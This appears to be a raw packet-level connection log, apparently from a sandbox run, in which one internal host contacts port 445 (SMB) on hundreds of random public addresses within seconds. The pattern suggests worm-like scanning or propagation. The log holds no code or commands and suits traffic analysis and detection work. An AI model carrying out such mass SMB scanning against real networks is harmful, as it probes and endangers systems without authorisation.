Jul 20, 2022 19:33:58.110622883 CEST	60108	445	192.168.2.7	51.158.189.114
Jul 20, 2022 19:33:58.181030989 CEST	60110	445	192.168.2.7	207.130.177.76
Jul 20, 2022 19:33:58.181926966 CEST	60114	445	192.168.2.7	217.207.252.228
Jul 20, 2022 19:33:58.182323933 CEST	60126	445	192.168.2.7	65.16.212.144
Jul 20, 2022 19:33:58.182388067 CEST	60128	445	192.168.2.7	28.31.94.80
Jul 20, 2022 19:33:58.182627916 CEST	60134	445	192.168.2.7	8.136.98.93
Jul 20, 2022 19:33:58.182789087 CEST	60138	445	192.168.2.7	133.23.114.214
Jul 20, 2022 19:33:58.182897091 CEST	60140	445	192.168.2.7	33.97.203.133
Jul 20, 2022 19:33:58.183005095 CEST	60143	445	192.168.2.7	107.92.65.55
Jul 20, 2022 19:33:58.313590050 CEST	60145	445	192.168.2.7	121.3.139.64
Jul 20, 2022 19:33:58.320506096 CEST	60149	445	192.168.2.7	45.60.207.28
Jul 20, 2022 19:33:58.337443113 CEST	445	60149	45.60.207.28	192.168.2.7
Jul 20, 2022 19:33:58.337634087 CEST	60149	445	192.168.2.7	45.60.207.28
Jul 20, 2022 19:33:58.338511944 CEST	60149	445	192.168.2.7	45.60.207.28
Jul 20, 2022 19:33:58.355251074 CEST	445	60149	45.60.207.28	192.168.2.7
Jul 20, 2022 19:33:58.355300903 CEST	445	60149	45.60.207.28	192.168.2.7
Jul 20, 2022 19:33:58.355334997 CEST	445	60149	45.60.207.28	192.168.2.7
Jul 20, 2022 19:33:58.355453968 CEST	60149	445	192.168.2.7	45.60.207.28
Jul 20, 2022 19:33:58.456927061 CEST	60149	445	192.168.2.7	45.60.207.28
Jul 20, 2022 19:33:58.461452007 CEST	60149	445	192.168.2.7	45.60.207.28
Jul 20, 2022 19:33:58.463001966 CEST	60151	445	192.168.2.7	213.142.151.107
Jul 20, 2022 19:33:58.473638058 CEST	445	60149	45.60.207.28	192.168.2.7
Jul 20, 2022 19:33:58.478157043 CEST	445	60149	45.60.207.28	192.168.2.7
Jul 20, 2022 19:33:58.518199921 CEST	445	60151	213.142.151.107	192.168.2.7
Jul 20, 2022 19:33:58.518399954 CEST	60151	445	192.168.2.7	213.142.151.107
Jul 20, 2022 19:33:58.612557888 CEST	60106	445	192.168.2.7	217.29.158.161
Jul 20, 2022 19:33:58.642345905 CEST	445	60106	217.29.158.161	192.168.2.7
Jul 20, 2022 19:33:59.190057039 CEST	60106	445	192.168.2.7	217.29.158.161
Jul 20, 2022 19:33:59.217889071 CEST	445	60106	217.29.158.161	192.168.2.7
Jul 20, 2022 19:34:00.124567032 CEST	60152	445	192.168.2.7	51.158.189.115
Jul 20, 2022 19:34:00.124646902 CEST	60151	445	192.168.2.7	213.142.151.107
Jul 20, 2022 19:34:00.127202034 CEST	60154	445	192.168.2.7	131.153.221.85
Jul 20, 2022 19:34:00.178894997 CEST	445	60151	213.142.151.107	192.168.2.7
Jul 20, 2022 19:34:00.209692955 CEST	60151	445	192.168.2.7	213.142.151.107
Jul 20, 2022 19:34:00.214514017 CEST	60155	445	192.168.2.7	121.3.139.65
Jul 20, 2022 19:34:00.215919971 CEST	60157	445	192.168.2.7	124.46.151.111
Jul 20, 2022 19:34:00.264247894 CEST	445	60151	213.142.151.107	192.168.2.7
Jul 20, 2022 19:34:00.288197041 CEST	445	60154	131.153.221.85	192.168.2.7
Jul 20, 2022 19:34:00.350498915 CEST	60154	445	192.168.2.7	131.153.221.85
Jul 20, 2022 19:34:00.352597952 CEST	60151	445	192.168.2.7	213.142.151.107
Jul 20, 2022 19:34:00.357266903 CEST	60154	445	192.168.2.7	131.153.221.85
Jul 20, 2022 19:34:00.405750036 CEST	445	60151	213.142.151.107	192.168.2.7
Jul 20, 2022 19:34:00.491004944 CEST	60151	445	192.168.2.7	213.142.151.107
Jul 20, 2022 19:34:00.518788099 CEST	445	60154	131.153.221.85	192.168.2.7
Jul 20, 2022 19:34:00.551456928 CEST	60154	445	192.168.2.7	131.153.221.85
Jul 20, 2022 19:34:00.551484108 CEST	60151	445	192.168.2.7	213.142.151.107
Jul 20, 2022 19:34:00.606448889 CEST	445	60151	213.142.151.107	192.168.2.7
Jul 20, 2022 19:34:00.667655945 CEST	60151	445	192.168.2.7	213.142.151.107
Jul 20, 2022 19:34:00.673111916 CEST	60161	445	192.168.2.7	116.4.230.110
Jul 20, 2022 19:34:00.673213005 CEST	60162	445	192.168.2.7	28.170.98.155
Jul 20, 2022 19:34:00.673417091 CEST	60165	445	192.168.2.7	75.217.140.193
Jul 20, 2022 19:34:00.673707962 CEST	60169	445	192.168.2.7	186.11.62.232
Jul 20, 2022 19:34:00.673770905 CEST	60170	445	192.168.2.7	73.142.71.110
Jul 20, 2022 19:34:00.673876047 CEST	60172	445	192.168.2.7	20.187.254.182
Jul 20, 2022 19:34:00.674201012 CEST	60179	445	192.168.2.7	133.180.155.154
Jul 20, 2022 19:34:00.674473047 CEST	60185	445	192.168.2.7	178.157.27.76
Jul 20, 2022 19:34:00.682694912 CEST	60190	445	192.168.2.7	210.190.19.81
Jul 20, 2022 19:34:00.682821035 CEST	60192	445	192.168.2.7	170.74.182.151
Jul 20, 2022 19:34:00.683137894 CEST	60199	445	192.168.2.7	176.232.49.15
Jul 20, 2022 19:34:00.684120893 CEST	60201	445	192.168.2.7	176.223.48.2
Jul 20, 2022 19:34:00.709089994 CEST	445	60154	131.153.221.85	192.168.2.7
Jul 20, 2022 19:34:00.718417883 CEST	60154	445	192.168.2.7	131.153.221.85
Jul 20, 2022 19:34:00.718904972 CEST	445	60151	213.142.151.107	192.168.2.7
Jul 20, 2022 19:34:00.719109058 CEST	445	60151	213.142.151.107	192.168.2.7
Jul 20, 2022 19:34:00.731887102 CEST	60202	445	192.168.2.7	138.202.219.36
Jul 20, 2022 19:34:00.732070923 CEST	60206	445	192.168.2.7	131.22.156.31
Jul 20, 2022 19:34:00.732492924 CEST	60217	445	192.168.2.7	160.30.226.158
Jul 20, 2022 19:34:00.732625008 CEST	60220	445	192.168.2.7	123.227.58.220
Jul 20, 2022 19:34:00.732732058 CEST	60222	445	192.168.2.7	150.142.107.186
Jul 20, 2022 19:34:00.732860088 CEST	60223	445	192.168.2.7	48.70.82.104
Jul 20, 2022 19:34:00.734041929 CEST	60233	445	192.168.2.7	197.233.117.83
Jul 20, 2022 19:34:00.734402895 CEST	60238	445	192.168.2.7	156.230.159.52
Jul 20, 2022 19:34:00.734416008 CEST	60232	445	192.168.2.7	63.155.243.118
Jul 20, 2022 19:34:00.734626055 CEST	60241	445	192.168.2.7	135.229.105.132
Jul 20, 2022 19:34:00.734694004 CEST	60243	445	192.168.2.7	181.55.74.112
Jul 20, 2022 19:34:00.734791040 CEST	60247	445	192.168.2.7	142.83.1.128
Jul 20, 2022 19:34:00.735021114 CEST	60253	445	192.168.2.7	70.245.158.7
Jul 20, 2022 19:34:00.735233068 CEST	60255	445	192.168.2.7	96.38.159.117
Jul 20, 2022 19:34:00.826982975 CEST	60260	445	192.168.2.7	213.142.151.108
Jul 20, 2022 19:34:00.876110077 CEST	445	60154	131.153.221.85	192.168.2.7
Jul 20, 2022 19:34:00.876272917 CEST	60154	445	192.168.2.7	131.153.221.85
Jul 20, 2022 19:34:00.884668112 CEST	445	60260	213.142.151.108	192.168.2.7
Jul 20, 2022 19:34:00.885462999 CEST	60260	445	192.168.2.7	213.142.151.108
Jul 20, 2022 19:34:00.885663033 CEST	60260	445	192.168.2.7	213.142.151.108
Jul 20, 2022 19:34:00.920608044 CEST	60261	445	192.168.2.7	213.142.151.108
Jul 20, 2022 19:34:00.945976973 CEST	445	60260	213.142.151.108	192.168.2.7
Jul 20, 2022 19:34:00.946006060 CEST	445	60260	213.142.151.108	192.168.2.7
Jul 20, 2022 19:34:00.980421066 CEST	445	60261	213.142.151.108	192.168.2.7
Jul 20, 2022 19:34:00.980572939 CEST	60261	445	192.168.2.7	213.142.151.108
Jul 20, 2022 19:34:00.981548071 CEST	60261	445	192.168.2.7	213.142.151.108
Jul 20, 2022 19:34:01.038942099 CEST	445	60154	131.153.221.85	192.168.2.7
Jul 20, 2022 19:34:01.040251017 CEST	60154	445	192.168.2.7	131.153.221.85
Jul 20, 2022 19:34:01.042704105 CEST	445	60261	213.142.151.108	192.168.2.7
Jul 20, 2022 19:34:01.042917967 CEST	60261	445	192.168.2.7	213.142.151.108
Jul 20, 2022 19:34:01.100831985 CEST	445	60261	213.142.151.108	192.168.2.7
Jul 20, 2022 19:34:01.101525068 CEST	60261	445	192.168.2.7	213.142.151.108
Jul 20, 2022 19:34:01.111624002 CEST	60262	445	192.168.2.7	131.153.221.86
Jul 20, 2022 19:34:01.159126997 CEST	445	60261	213.142.151.108	192.168.2.7
Jul 20, 2022 19:34:01.197938919 CEST	445	60154	131.153.221.85	192.168.2.7
Jul 20, 2022 19:34:01.197992086 CEST	445	60154	131.153.221.85	192.168.2.7
Jul 20, 2022 19:34:01.211150885 CEST	60263	445	192.168.2.7	51.158.189.116
Jul 20, 2022 19:34:01.269355059 CEST	445	60262	131.153.221.86	192.168.2.7
Jul 20, 2022 19:34:01.622335911 CEST	60262	445	192.168.2.7	131.153.221.86
Jul 20, 2022 19:34:01.631865978 CEST	60262	445	192.168.2.7	131.153.221.86
Jul 20, 2022 19:34:01.647008896 CEST	60265	445	192.168.2.7	121.3.139.66
Jul 20, 2022 19:34:01.647881985 CEST	60266	445	192.168.2.7	45.60.207.28
Jul 20, 2022 19:34:01.650401115 CEST	60268	445	192.168.2.7	210.9.218.233
Jul 20, 2022 19:34:01.657040119 CEST	60271	445	192.168.2.7	131.153.221.86
Jul 20, 2022 19:34:01.666260004 CEST	445	60266	45.60.207.28	192.168.2.7
Jul 20, 2022 19:34:01.666431904 CEST	60266	445	192.168.2.7	45.60.207.28
Jul 20, 2022 19:34:01.666654110 CEST	60266	445	192.168.2.7	45.60.207.28
Jul 20, 2022 19:34:01.683296919 CEST	445	60266	45.60.207.28	192.168.2.7
Jul 20, 2022 19:34:01.683341026 CEST	445	60266	45.60.207.28	192.168.2.7
Jul 20, 2022 19:34:01.683361053 CEST	445	60266	45.60.207.28	192.168.2.7
Jul 20, 2022 19:34:01.683511972 CEST	60266	445	192.168.2.7	45.60.207.28
Jul 20, 2022 19:34:01.683628082 CEST	60266	445	192.168.2.7	45.60.207.28
Jul 20, 2022 19:34:01.683957100 CEST	60266	445	192.168.2.7	45.60.207.28
Jul 20, 2022 19:34:01.702362061 CEST	445	60266	45.60.207.28	192.168.2.7
Jul 20, 2022 19:34:01.706305027 CEST	445	60266	45.60.207.28	192.168.2.7
Jul 20, 2022 19:34:01.781246901 CEST	60272	445	192.168.2.7	45.60.207.29
Jul 20, 2022 19:34:01.789602041 CEST	445	60262	131.153.221.86	192.168.2.7
Jul 20, 2022 19:34:01.789657116 CEST	445	60262	131.153.221.86	192.168.2.7
Jul 20, 2022 19:34:01.800386906 CEST	445	60272	45.60.207.29	192.168.2.7
Jul 20, 2022 19:34:01.800504923 CEST	60272	445	192.168.2.7	45.60.207.29
Jul 20, 2022 19:34:01.802380085 CEST	60272	445	192.168.2.7	45.60.207.29
Jul 20, 2022 19:34:01.808736086 CEST	60277	445	192.168.2.7	84.215.233.141
Jul 20, 2022 19:34:01.808780909 CEST	60281	445	192.168.2.7	105.67.178.122
Jul 20, 2022 19:34:01.809081078 CEST	60290	445	192.168.2.7	122.96.9.88
Jul 20, 2022 19:34:01.809146881 CEST	60293	445	192.168.2.7	220.90.193.189
Jul 20, 2022 19:34:01.809197903 CEST	60292	445	192.168.2.7	177.23.44.99
Jul 20, 2022 19:34:01.809261084 CEST	60294	445	192.168.2.7	56.62.254.247
Jul 20, 2022 19:34:01.810754061 CEST	60300	445	192.168.2.7	111.213.4.12
Jul 20, 2022 19:34:01.810847044 CEST	60301	445	192.168.2.7	102.203.95.172
Jul 20, 2022 19:34:01.820359945 CEST	60303	445	192.168.2.7	215.44.234.75
Jul 20, 2022 19:34:01.820517063 CEST	60305	445	192.168.2.7	154.41.35.119
Jul 20, 2022 19:34:01.820632935 CEST	445	60272	45.60.207.29	192.168.2.7
Jul 20, 2022 19:34:01.820725918 CEST	60272	445	192.168.2.7	45.60.207.29
Jul 20, 2022 19:34:01.820832014 CEST	60312	445	192.168.2.7	79.19.235.162
Jul 20, 2022 19:34:01.821413040 CEST	60314	445	192.168.2.7	81.72.250.56
Jul 20, 2022 19:34:01.821628094 CEST	445	60271	131.153.221.86	192.168.2.7
Jul 20, 2022 19:34:01.821774960 CEST	60271	445	192.168.2.7	131.153.221.86
Jul 20, 2022 19:34:01.822230101 CEST	60271	445	192.168.2.7	131.153.221.86
Jul 20, 2022 19:34:01.823215961 CEST	60315	445	192.168.2.7	45.60.207.29
Jul 20, 2022 19:34:01.843391895 CEST	445	60315	45.60.207.29	192.168.2.7
Jul 20, 2022 19:34:01.843702078 CEST	60315	445	192.168.2.7	45.60.207.29
Jul 20, 2022 19:34:01.843724012 CEST	60315	445	192.168.2.7	45.60.207.29
Jul 20, 2022 19:34:01.845313072 CEST	60319	445	192.168.2.7	177.56.145.189
Jul 20, 2022 19:34:01.862014055 CEST	445	60315	45.60.207.29	192.168.2.7
Jul 20, 2022 19:34:01.862056017 CEST	445	60315	45.60.207.29	192.168.2.7
Jul 20, 2022 19:34:01.862078905 CEST	445	60315	45.60.207.29	192.168.2.7
Jul 20, 2022 19:34:01.862195015 CEST	60315	445	192.168.2.7	45.60.207.29
Jul 20, 2022 19:34:01.864232063 CEST	60315	445	192.168.2.7	45.60.207.29
Jul 20, 2022 19:34:01.881350994 CEST	445	60315	45.60.207.29	192.168.2.7
Jul 20, 2022 19:34:01.909140110 CEST	60322	445	192.168.2.7	50.213.123.127
Jul 20, 2022 19:34:01.909231901 CEST	60324	445	192.168.2.7	218.127.124.181
Jul 20, 2022 19:34:01.909249067 CEST	60327	445	192.168.2.7	150.171.164.73
Jul 20, 2022 19:34:01.909429073 CEST	60332	445	192.168.2.7	166.58.132.21
Jul 20, 2022 19:34:01.910094976 CEST	60329	445	192.168.2.7	150.110.128.40
Jul 20, 2022 19:34:01.910116911 CEST	60344	445	192.168.2.7	69.6.192.168
Jul 20, 2022 19:34:01.910234928 CEST	60346	445	192.168.2.7	69.212.226.61
Jul 20, 2022 19:34:01.910384893 CEST	60352	445	192.168.2.7	32.38.215.32
Jul 20, 2022 19:34:01.910460949 CEST	60349	445	192.168.2.7	71.158.219.142
Jul 20, 2022 19:34:01.910617113 CEST	60358	445	192.168.2.7	122.231.190.153
Jul 20, 2022 19:34:01.910700083 CEST	60360	445	192.168.2.7	177.85.120.150
Jul 20, 2022 19:34:01.913233995 CEST	60366	445	192.168.2.7	31.13.25.14
Jul 20, 2022 19:34:01.913460970 CEST	60368	445	192.168.2.7	56.49.177.127
Jul 20, 2022 19:34:01.988909006 CEST	445	60271	131.153.221.86	192.168.2.7
Jul 20, 2022 19:34:01.989352942 CEST	60271	445	192.168.2.7	131.153.221.86
Jul 20, 2022 19:34:02.158387899 CEST	445	60271	131.153.221.86	192.168.2.7
Jul 20, 2022 19:34:02.159550905 CEST	60271	445	192.168.2.7	131.153.221.86
Jul 20, 2022 19:34:02.281048059 CEST	60374	445	192.168.2.7	51.158.189.117
Jul 20, 2022 19:34:02.327047110 CEST	445	60271	131.153.221.86	192.168.2.7
Jul 20, 2022 19:34:02.327487946 CEST	60271	445	192.168.2.7	131.153.221.86
Jul 20, 2022 19:34:02.492733955 CEST	445	60271	131.153.221.86	192.168.2.7
Jul 20, 2022 19:34:02.492902994 CEST	60271	445	192.168.2.7	131.153.221.86
Jul 20, 2022 19:34:02.657573938 CEST	445	60271	131.153.221.86	192.168.2.7
Jul 20, 2022 19:34:02.657603979 CEST	445	60271	131.153.221.86	192.168.2.7
Jul 20, 2022 19:34:02.737603903 CEST	60375	445	192.168.2.7	121.3.139.67
Jul 20, 2022 19:34:02.766148090 CEST	60379	445	192.168.2.7	130.194.71.209
Jul 20, 2022 19:34:02.961225033 CEST	60388	445	192.168.2.7	38.6.120.250
Jul 20, 2022 19:34:02.996969938 CEST	60395	445	192.168.2.7	123.52.207.143
Jul 20, 2022 19:34:02.997090101 CEST	60399	445	192.168.2.7	45.85.82.125
Jul 20, 2022 19:34:02.998086929 CEST	60400	445	192.168.2.7	99.102.140.124
Jul 20, 2022 19:34:02.998274088 CEST	60402	445	192.168.2.7	78.254.242.231
Jul 20, 2022 19:34:02.998330116 CEST	60403	445	192.168.2.7	130.72.51.100
Jul 20, 2022 19:34:02.998593092 CEST	60409	445	192.168.2.7	177.159.65.240
Jul 20, 2022 19:34:02.998625994 CEST	60410	445	192.168.2.7	205.139.103.201
Jul 20, 2022 19:34:02.998732090 CEST	60413	445	192.168.2.7	83.211.27.75
Jul 20, 2022 19:34:02.998805046 CEST	60414	445	192.168.2.7	153.170.115.81
Jul 20, 2022 19:34:02.998995066 CEST	60421	445	192.168.2.7	18.142.29.164
Jul 20, 2022 19:34:02.999375105 CEST	60424	445	192.168.2.7	107.86.46.93
Jul 20, 2022 19:34:02.999538898 CEST	60425	445	192.168.2.7	41.175.163.35
Jul 20, 2022 19:34:03.031234980 CEST	60430	445	192.168.2.7	96.181.205.160
Jul 20, 2022 19:34:03.039395094 CEST	60435	445	192.168.2.7	120.183.138.99
Jul 20, 2022 19:34:03.046938896 CEST	60440	445	192.168.2.7	130.245.252.172
Jul 20, 2022 19:34:03.049041986 CEST	60442	445	192.168.2.7	174.63.208.78
Jul 20, 2022 19:34:03.059446096 CEST	445	60413	83.211.27.75	192.168.2.7
Jul 20, 2022 19:34:03.114588976 CEST	60449	445	192.168.2.7	207.208.133.56
Jul 20, 2022 19:34:03.114694118 CEST	60452	445	192.168.2.7	173.182.207.162
Jul 20, 2022 19:34:03.114880085 CEST	60453	445	192.168.2.7	71.142.124.253
Jul 20, 2022 19:34:03.123611927 CEST	60457	445	192.168.2.7	170.124.84.189
Jul 20, 2022 19:34:03.124434948 CEST	60469	445	192.168.2.7	13.201.46.67
Jul 20, 2022 19:34:03.124839067 CEST	60470	445	192.168.2.7	146.24.157.247
Jul 20, 2022 19:34:03.125097990 CEST	60474	445	192.168.2.7	130.151.136.160
Jul 20, 2022 19:34:03.125180006 CEST	60475	445	192.168.2.7	57.202.206.250
Jul 20, 2022 19:34:03.125422001 CEST	60480	445	192.168.2.7	86.210.243.43
Jul 20, 2022 19:34:03.359137058 CEST	60482	445	192.168.2.7	51.158.189.118
Jul 20, 2022 19:34:03.559812069 CEST	60413	445	192.168.2.7	83.211.27.75
Jul 20, 2022 19:34:03.616385937 CEST	445	60413	83.211.27.75	192.168.2.7
Jul 20, 2022 19:34:03.813201904 CEST	60483	445	192.168.2.7	121.3.139.68
Jul 20, 2022 19:34:03.892599106 CEST	60487	445	192.168.2.7	176.187.103.26
Jul 20, 2022 19:34:04.093324900 CEST	60497	445	192.168.2.7	154.199.4.143
Jul 20, 2022 19:34:04.110306025 CEST	60502	445	192.168.2.7	154.227.114.160
Jul 20, 2022 19:34:04.112692118 CEST	60505	445	192.168.2.7	9.221.219.94
Jul 20, 2022 19:34:04.114392042 CEST	60507	445	192.168.2.7	108.187.131.171
Jul 20, 2022 19:34:04.116308928 CEST	60510	445	192.168.2.7	43.114.194.152
Jul 20, 2022 19:34:04.118273973 CEST	60512	445	192.168.2.7	191.175.196.11
Jul 20, 2022 19:34:04.121130943 CEST	60516	445	192.168.2.7	59.251.176.109
Jul 20, 2022 19:34:04.123233080 CEST	60518	445	192.168.2.7	11.186.157.241
Jul 20, 2022 19:34:04.125591993 CEST	60521	445	192.168.2.7	32.118.132.82
Jul 20, 2022 19:34:04.126386881 CEST	60522	445	192.168.2.7	63.224.238.163
Jul 20, 2022 19:34:04.130080938 CEST	60527	445	192.168.2.7	45.83.227.125
Jul 20, 2022 19:34:04.133768082 CEST	60531	445	192.168.2.7	72.99.11.173
Jul 20, 2022 19:34:04.136683941 CEST	60534	445	192.168.2.7	159.47.69.225
Jul 20, 2022 19:34:04.155229092 CEST	60536	445	192.168.2.7	6.48.245.61
Jul 20, 2022 19:34:04.155394077 CEST	60541	445	192.168.2.7	155.232.106.165
Jul 20, 2022 19:34:04.170478106 CEST	60548	445	192.168.2.7	213.142.151.108
Jul 20, 2022 19:34:04.186796904 CEST	60550	445	192.168.2.7	27.154.144.110
Jul 20, 2022 19:34:04.187716961 CEST	60551	445	192.168.2.7	60.94.70.0
Jul 20, 2022 19:34:04.223076105 CEST	445	60548	213.142.151.108	192.168.2.7
Jul 20, 2022 19:34:04.223195076 CEST	60548	445	192.168.2.7	213.142.151.108
Jul 20, 2022 19:34:04.223402023 CEST	60548	445	192.168.2.7	213.142.151.108
Jul 20, 2022 19:34:04.276910067 CEST	445	60548	213.142.151.108	192.168.2.7
Jul 20, 2022 19:34:04.276947021 CEST	445	60548	213.142.151.108	192.168.2.7
Jul 20, 2022 19:34:04.288017035 CEST	60548	445	192.168.2.7	213.142.151.108
Jul 20, 2022 19:34:04.288646936 CEST	60558	445	192.168.2.7	188.232.9.13
Jul 20, 2022 19:34:04.288826942 CEST	60563	445	192.168.2.7	110.178.87.36
Jul 20, 2022 19:34:04.288945913 CEST	60567	445	192.168.2.7	96.61.214.55
Jul 20, 2022 19:34:04.288945913 CEST	60564	445	192.168.2.7	204.215.74.207
Jul 20, 2022 19:34:04.288994074 CEST	60569	445	192.168.2.7	65.231.92.87
Jul 20, 2022 19:34:04.289328098 CEST	60581	445	192.168.2.7	114.199.125.82
Jul 20, 2022 19:34:04.289422035 CEST	60584	445	192.168.2.7	37.62.14.98
Jul 20, 2022 19:34:04.289470911 CEST	60586	445	192.168.2.7	202.177.12.27
Jul 20, 2022 19:34:04.289541006 CEST	60588	445	192.168.2.7	33.0.222.8
Jul 20, 2022 19:34:04.340768099 CEST	445	60548	213.142.151.108	192.168.2.7
Jul 20, 2022 19:34:04.341002941 CEST	60548	445	192.168.2.7	213.142.151.108
Jul 20, 2022 19:34:04.393440962 CEST	445	60548	213.142.151.108	192.168.2.7
Jul 20, 2022 19:34:04.493563890 CEST	60591	445	192.168.2.7	51.158.189.119
Jul 20, 2022 19:34:04.520548105 CEST	60592	445	192.168.2.7	213.142.151.109
Jul 20, 2022 19:34:04.576766968 CEST	445	60592	213.142.151.109	192.168.2.7
Jul 20, 2022 19:34:04.576970100 CEST	60592	445	192.168.2.7	213.142.151.109
Jul 20, 2022 19:34:04.586086035 CEST	60592	445	192.168.2.7	213.142.151.109
Jul 20, 2022 19:34:04.590784073 CEST	60593	445	192.168.2.7	213.142.151.109
Jul 20, 2022 19:34:04.644547939 CEST	445	60592	213.142.151.109	192.168.2.7
Jul 20, 2022 19:34:04.644593000 CEST	445	60592	213.142.151.109	192.168.2.7
Jul 20, 2022 19:34:04.646692991 CEST	445	60593	213.142.151.109	192.168.2.7
Jul 20, 2022 19:34:04.646826982 CEST	60593	445	192.168.2.7	213.142.151.109
Jul 20, 2022 19:34:04.646945953 CEST	60593	445	192.168.2.7	213.142.151.109
Jul 20, 2022 19:34:04.701780081 CEST	445	60593	213.142.151.109	192.168.2.7
Jul 20, 2022 19:34:04.889276028 CEST	60595	445	192.168.2.7	121.3.139.69
Jul 20, 2022 19:34:04.921027899 CEST	60596	445	192.168.2.7	45.60.207.29
Jul 20, 2022 19:34:04.937551975 CEST	445	60596	45.60.207.29	192.168.2.7
Jul 20, 2022 19:34:04.937690020 CEST	60596	445	192.168.2.7	45.60.207.29
Jul 20, 2022 19:34:04.937912941 CEST	60596	445	192.168.2.7	45.60.207.29
Jul 20, 2022 19:34:04.954276085 CEST	445	60596	45.60.207.29	192.168.2.7
Jul 20, 2022 19:34:04.954333067 CEST	445	60596	45.60.207.29	192.168.2.7
Jul 20, 2022 19:34:04.954354048 CEST	445	60596	45.60.207.29	192.168.2.7
Jul 20, 2022 19:34:04.954433918 CEST	60596	445	192.168.2.7	45.60.207.29
Jul 20, 2022 19:34:04.954511881 CEST	60596	445	192.168.2.7	45.60.207.29
Jul 20, 2022 19:34:04.954754114 CEST	60596	445	192.168.2.7	45.60.207.29
Jul 20, 2022 19:34:04.971304893 CEST	445	60596	45.60.207.29	192.168.2.7
Jul 20, 2022 19:34:04.971340895 CEST	445	60596	45.60.207.29	192.168.2.7
Jul 20, 2022 19:34:05.017436981 CEST	60600	445	192.168.2.7	188.235.147.118
Jul 20, 2022 19:34:05.037142992 CEST	60603	445	192.168.2.7	45.60.207.30
Jul 20, 2022 19:34:05.053744078 CEST	445	60603	45.60.207.30	192.168.2.7
Jul 20, 2022 19:34:05.053890944 CEST	60603	445	192.168.2.7	45.60.207.30
Jul 20, 2022 19:34:05.054080009 CEST	60603	445	192.168.2.7	45.60.207.30
Jul 20, 2022 19:34:05.058232069 CEST	60604	445	192.168.2.7	45.60.207.30
Jul 20, 2022 19:34:05.070619106 CEST	445	60603	45.60.207.30	192.168.2.7
Jul 20, 2022 19:34:05.070744991 CEST	60603	445	192.168.2.7	45.60.207.30
Jul 20, 2022 19:34:05.076292038 CEST	445	60604	45.60.207.30	192.168.2.7
Jul 20, 2022 19:34:05.076390028 CEST	60604	445	192.168.2.7	45.60.207.30
Jul 20, 2022 19:34:05.076555967 CEST	60604	445	192.168.2.7	45.60.207.30
Jul 20, 2022 19:34:05.093045950 CEST	445	60604	45.60.207.30	192.168.2.7
Jul 20, 2022 19:34:05.093121052 CEST	445	60604	45.60.207.30	192.168.2.7
Jul 20, 2022 19:34:05.093154907 CEST	445	60604	45.60.207.30	192.168.2.7
Jul 20, 2022 19:34:05.093255043 CEST	60604	445	192.168.2.7	45.60.207.30
Jul 20, 2022 19:34:05.093338013 CEST	60604	445	192.168.2.7	45.60.207.30
Jul 20, 2022 19:34:05.093641043 CEST	60604	445	192.168.2.7	45.60.207.30
Jul 20, 2022 19:34:05.111375093 CEST	445	60604	45.60.207.30	192.168.2.7
Jul 20, 2022 19:34:05.111411095 CEST	445	60604	45.60.207.30	192.168.2.7
Jul 20, 2022 19:34:05.219021082 CEST	60612	445	192.168.2.7	165.27.27.82
Jul 20, 2022 19:34:05.235584974 CEST	60616	445	192.168.2.7	42.128.196.31
Jul 20, 2022 19:34:05.241672993 CEST	60620	445	192.168.2.7	10.164.61.238
Jul 20, 2022 19:34:05.266335011 CEST	60622	445	192.168.2.7	182.71.112.202
Jul 20, 2022 19:34:05.271071911 CEST	60625	445	192.168.2.7	74.161.206.133
Jul 20, 2022 19:34:05.271140099 CEST	60629	445	192.168.2.7	61.188.146.252
Jul 20, 2022 19:34:05.271230936 CEST	60630	445	192.168.2.7	25.237.5.24
Jul 20, 2022 19:34:05.271262884 CEST	60633	445	192.168.2.7	141.62.91.196
Jul 20, 2022 19:34:05.271445036 CEST	60637	445	192.168.2.7	85.69.166.157
Jul 20, 2022 19:34:05.271569967 CEST	60640	445	192.168.2.7	30.231.75.114
Jul 20, 2022 19:34:05.271735907 CEST	60645	445	192.168.2.7	77.138.211.60
Jul 20, 2022 19:34:05.271810055 CEST	60646	445	192.168.2.7	93.96.97.144
Jul 20, 2022 19:34:05.272016048 CEST	60649	445	192.168.2.7	19.196.221.104
Jul 20, 2022 19:34:05.286442995 CEST	60653	445	192.168.2.7	206.121.2.209
Jul 20, 2022 19:34:05.286670923 CEST	60656	445	192.168.2.7	163.243.129.144
Jul 20, 2022 19:34:05.297843933 CEST	60664	445	192.168.2.7	115.104.53.183
Jul 20, 2022 19:34:05.298903942 CEST	60665	445	192.168.2.7	34.212.146.223
Jul 20, 2022 19:34:05.437160015 CEST	60674	445	192.168.2.7	19.101.87.52
Jul 20, 2022 19:34:05.438096046 CEST	60676	445	192.168.2.7	91.208.25.96
Jul 20, 2022 19:34:05.438200951 CEST	60678	445	192.168.2.7	56.9.78.162
Jul 20, 2022 19:34:05.438986063 CEST	60681	445	192.168.2.7	43.217.59.39
Jul 20, 2022 19:34:05.439368963 CEST	60684	445	192.168.2.7	173.237.44.67
Jul 20, 2022 19:34:05.462171078 CEST	60695	445	192.168.2.7	17.192.165.49
Jul 20, 2022 19:34:05.462229013 CEST	60696	445	192.168.2.7	183.114.130.98
Jul 20, 2022 19:34:05.462347031 CEST	60698	445	192.168.2.7	14.10.97.232
Jul 20, 2022 19:34:05.462493896 CEST	60701	445	192.168.2.7	145.24.136.73
Jul 20, 2022 19:34:05.498403072 CEST	60705	445	192.168.2.7	131.153.221.86
Jul 20, 2022 19:34:05.562366009 CEST	60706	445	192.168.2.7	51.158.189.120
Jul 20, 2022 19:34:05.663049936 CEST	445	60705	131.153.221.86	192.168.2.7
Jul 20, 2022 19:34:05.663187027 CEST	60705	445	192.168.2.7	131.153.221.86
Jul 20, 2022 19:34:05.663511038 CEST	60705	445	192.168.2.7	131.153.221.86
Jul 20, 2022 19:34:05.828006029 CEST	445	60705	131.153.221.86	192.168.2.7
Jul 20, 2022 19:34:05.847110033 CEST	60705	445	192.168.2.7	131.153.221.86
Jul 20, 2022 19:34:05.988466024 CEST	60708	445	192.168.2.7	121.3.139.70
Jul 20, 2022 19:34:06.011885881 CEST	445	60705	131.153.221.86	192.168.2.7
Jul 20, 2022 19:34:06.012212992 CEST	60705	445	192.168.2.7	131.153.221.86
Jul 20, 2022 19:34:06.141635895 CEST	60712	445	192.168.2.7	100.163.139.244
Jul 20, 2022 19:34:06.177072048 CEST	445	60705	131.153.221.86	192.168.2.7
Jul 20, 2022 19:34:06.177386999 CEST	60705	445	192.168.2.7	131.153.221.86
Jul 20, 2022 19:34:06.342067003 CEST	445	60705	131.153.221.86	192.168.2.7
Jul 20, 2022 19:34:06.342252016 CEST	60705	445	192.168.2.7	131.153.221.86
Jul 20, 2022 19:34:06.343794107 CEST	60723	445	192.168.2.7	147.225.230.104
